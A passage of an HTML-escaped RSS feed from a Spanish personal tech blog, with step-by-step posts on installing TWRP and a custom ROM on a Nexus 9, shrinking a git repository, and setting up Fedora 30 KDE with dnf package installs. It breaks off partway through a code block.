&lt;p>Descargar un recovery personalizado, como por ejemplo &lt;a class="link" href="https://dl.twrp.me/flounder/" target="_blank" rel="noopener"
>TWRP&lt;/a>. Este tendrá un formato similar a &lt;em>twrp-x.x.x-x-flounder.img&lt;/em>.&lt;/p>
&lt;blockquote>
&lt;p>Importante, descargar el recovery des dispositivo que vas a usar puedes buscarlo en &lt;a class="link" href="https://twrp.me/Devices/" target="_blank" rel="noopener"
>https://twrp.me/Devices/&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;li>
&lt;p>Reiniciar el dispositivo en modo &lt;em>FASTBOOT&lt;/em>, para ello es necesario que el dispositivo este encendido. Este paso se puede saltar si ya se tenia desbloqueado el OEM, ya que el dispositivo no se habrá reiniciado y seguirá en modo &lt;em>FASTBOOT&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">adb reboot bootloader
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Verificar que el dispositivo esta en modo &lt;em>FASTBOOT&lt;/em> con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">fastboot devices
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">HT51EWV00595 fastboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Flashear el dispositivo con la imagen previamente descargada:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">fastboot flash recovery &amp;lt;recovery_filename&amp;gt;.img
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Sending&lt;/span> &lt;span class="s1">&amp;#39;recovery&amp;#39;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">13254&lt;/span> &lt;span class="n">KB&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">OKAY&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mf">0.761&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Writing&lt;/span> &lt;span class="s1">&amp;#39;recovery&amp;#39;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">bootloader&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">Device&lt;/span> &lt;span class="n">State&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">Unlocked&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">OKAY&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mf">1.034&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Finished&lt;/span>&lt;span class="o">.&lt;/span> &lt;span class="n">Total&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">1.800&lt;/span>&lt;span class="n">s&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Reiniciar el dispositivo en modo recovery, esto se puede realizar manualmente usando las teclas de &lt;em>Volumen&lt;/em> y &lt;em>Power&lt;/em> o con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">fastboot boot &amp;lt;recovery_filename&amp;gt;.img
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Downloading&lt;/span> &lt;span class="s1">&amp;#39;boot.img&amp;#39;&lt;/span> &lt;span class="n">OKAY&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mf">0.740&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">booting&lt;/span> &lt;span class="n">OKAY&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mf">0.174&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Finished&lt;/span>&lt;span class="o">.&lt;/span> &lt;span class="n">Total&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.919&lt;/span>&lt;span class="n">s&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ol>
&lt;h1 id="instalar-rom-desde-el-recovery">Instalar ROM desde el recovery&lt;/h1>
&lt;ol>
&lt;li>
&lt;p>Descargar la ROM deseada, en mi caso ha sido &lt;a class="link" href="https://slimroms.org/#/device/flounder_lte" target="_blank" rel="noopener"
>SlimRoms&lt;/a>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Descargar las Google Apps, están disponibles en &lt;a class="link" href="https://opengapps.org/?api=7.1&amp;amp;variant=nano" target="_blank" rel="noopener"
>OpenGApps&lt;/a>. Para la Nexus 9 hay que seleccionar como plataforma ARM64. Con la &lt;em>nano&lt;/em> es suficiente.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Una vez descargados los ficheros que vamos a utilizar, tenemos que estar en el modo Recovery con TWRP.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Vamos al menú de &lt;strong>Wipe&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Seleccionamos &lt;strong>Format Data&lt;/strong> y escribimos &lt;em>yes&lt;/em>. Este proceso elimina la encriptación del disco y borra los datos de la memoria interna.&lt;/li>
&lt;li>Volvemos al menú de &lt;strong>Wipe&lt;/strong> y seleccionamos &lt;strong>Advanced Wipe&lt;/strong>. Aquí seleccionamos &lt;em>Cache&lt;/em> y &lt;em>System&lt;/em> para hacer un wipe de estas particiones&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Finalmente solo queda instalar la ROM y las GApps, para hacer esto vamos a &lt;strong>Advanced&lt;/strong> y después a &lt;strong>ADB Sideload&lt;/strong>, hacemos swipe para iniciar el sideload, después de cada instalación es necesario volver a iniciarlo.&lt;/p>
&lt;ul>
&lt;li>Instalamos la ROM&lt;/li>
&lt;li>Instalamos las GApps&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">adb sideload rom.zip
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">adb sideload gapps.zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>&lt;strong>IMPORTANTE:&lt;/strong> &lt;a class="link" href="https://forum.xda-developers.com/nexus-9/development/fix-fed-patcher-forceencrypt-disable-t3200168" target="_blank" rel="noopener"
>Instalar FED-Patcher v7 (ForceEncrypt Disable Patcher)&lt;/a>, solo en la Nexus 9 con el objetivo de que el disco no se cifre, ya que reduce el rendimiento y se nota bastante. Podemos descargarlo tanto del foro xda, donde su creador lo ha publicado como desde &lt;a class="link" href="https://www.procamora.com/descargas/fed_patcher_v7-signed.zip" >aquí&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">adb sideload fed_patcher_v7-signed.zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Una vez instalado todo lo necesario reiniciar el dispositivo y esperar a que arranque con normalidad, puede llegar a tardar mas de 10 minutos.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">adb reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ol>
&lt;p>Como fuente para la realización de este manual se ha usado: &lt;a class="link" href="https://wiki.lineageos.org/devices/flounder_lte/install" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Reducir tamaño repositorio git</title><link>https://www.procamora.com/p/reducir-tamano-repositorio-git/</link><pubDate>Sat, 27 Apr 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/reducir-tamano-repositorio-git/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Reducir tamaño repositorio git" />&lt;p>Para comprimir un repositorio git y reducir su tamaño podemos usar los siguientes comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git reflog expire --all --expire&lt;span class="o">=&lt;/span>now
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git gc --prune&lt;span class="o">=&lt;/span>now --aggressive
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente: &lt;a class="link" href="https://stackoverflow.com/questions/2116778/reduce-git-repository-size" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Primeros pasos Fedora 30 KDE Parte I</title><link>https://www.procamora.com/p/primeros-pasos-fedora-30-parte-i/</link><pubDate>Sun, 14 Apr 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-fedora-30-parte-i/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Primeros pasos Fedora 30 KDE Parte I" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En esta primera parte pondré todos las librerías y programas que suelo instalar en Fedora 30, en la segunda parte haré una configuración del entorno de trabajo (fstab, crontab, .ssh, etc)&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >RPMFusion&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Librerias basicas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Compilación&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Compresión&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark4" >Codecs&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >DVD&amp;rsquo;s&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >Programas basicos&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark7" >HP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark8" >Insync&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark9" >Pandoc y Latex&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark10" >Spotify&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark11" >Atom&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark12" >Visual Studio Code&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark13" >Skype&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark14" >Teamviewer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark15" >Dropbox&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark16" >Gitkraken&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark17" >Pycharm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark18" >Telegram&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark19" >Eclipse&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark27" >Docker y Docker-Compose&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark21" >Google Chrome&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark22" >Google Music&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark23" >system-config-samba&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark24" >Drivers Nvidia&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark25" >Peek&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark26" >Sublime Text 3 y Sublime Merge&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark27" >OpenRazer y Polychromatic&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="importante">Importante&lt;/h2>
&lt;p>Primero tenemos que instalar los drivers de nvidia que están en la sección &lt;a class="link" href="#mark24" >Drivers nvidia&lt;/a>&lt;/p>
&lt;h2 id="actualización-inicial">Actualización inicial&lt;/h2>
&lt;p>Lo primero que hay que hacer es actualizar el sistema y lo reiniciamos, posiblemente haya una gran cantidad de paquetes a actualizar, junto con la actualización del kernel por lo que después es bueno hacer un reinicio del sistema.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="eliminar-programas-no-necesarios">Eliminar programas no necesarios&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf remove dragon calligra-core
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark0">Añadir repositorio RPMFusion&lt;/h2>
&lt;p>Este repositorio es necesario para varios paquetes que instalaremos después (contiene programas importantes y paquetes nonfree).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Paquetes y librerías que mas uso&lt;/h2>
&lt;p>Conjunto de librerías y utilidades básicas, traducciones de programas a español, corrector ortográficos, etc.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install kde-i18n-Spanish mythes-es hyphen-es autocorr-es hunspell-es langpacks-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>aspell-es man-pages-es-extra kde-l10n-es android-tools expect flac-libs &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>fluid-soundfont-common encfs samba wine curl system-config-users meld youtube-dl &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>wget iftop trash-cli
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="java">Java&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install java-openjdk java-1.8.0-openjdk-javadoc java-1.8.0-openjdk-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Herramientas básicas de compilación&lt;/h2>
&lt;p>Conjunto de librerías básicas de compilación&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install kernel-headers kernel-devel git make libxml2 libxml2-devel mercurial &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>cmake python-devel python3-devel gcc-c++ dkms openssl-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark3">Compresión y descompresión&lt;/h1>
&lt;p>Conjunto de librerías básicas de compresión y descompresión&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install p7zip p7zip-plugins zip unzip unrar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark4">Codecs&lt;/h2>
&lt;p>Conjunto de codecs necesarios para la reproducción de audio con código privado (mp3, etc)&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install gstreamer gstreamer1-libav gstreamer1-plugins-bad-free-extras &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer1-plugins-bad-freeworld gstreamer1-plugins-good-extras pavucontrol &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-ffmpeg gstreamer-plugins-bad gstreamer-plugins-bad-free-extras &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-plugins-ugly ffmpeg ffmpeg-libs libmatroska xvidcore libva-vdpau-driver &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>libvdpau libvdpau-devel gstreamer1-vaapi gstreamer1-plugins-base-tools mencoder &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>alsa-firmware gstreamer1-plugins-ugly
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark5">Soporte para DVD&amp;rsquo;s&lt;/h2>
&lt;p>Conjunto de librerías necesarias para la reproducción de DVD&amp;rsquo;s&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install lsdvd libdvbpsi libdvdread libdvdnav
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark6">Programas básicos&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install VirtualBox vim yakuake libreoffice libreoffice-langpack-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gnome-disk-utility sqlitebrowser gimp vlc fritzing kdenlive frei0r-plugins &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>calibre picard chromaprint-tools arduino vokoscreen filezilla
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark7">Dispositivos HP (impresora)&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install hplip hplip-common libsane-hpaio hplip-gui
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark8">Insync&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm --import https://d2t3ff60b2tol4.cloudfront.net/repomd.xml.key
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;[insync]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">name=insync repo
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">baseurl=http://yum.insynchq.com/fedora/29/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">gpgcheck=1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">gpgkey=https://d2t3ff60b2tol4.cloudfront.net/repomd.xml.key
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">enabled=1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">metadata_expire=120m&amp;#34;&lt;/span> &amp;gt; /etc/yum.repos.d/insync.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install insync
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark9">Pandoc y Latex&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
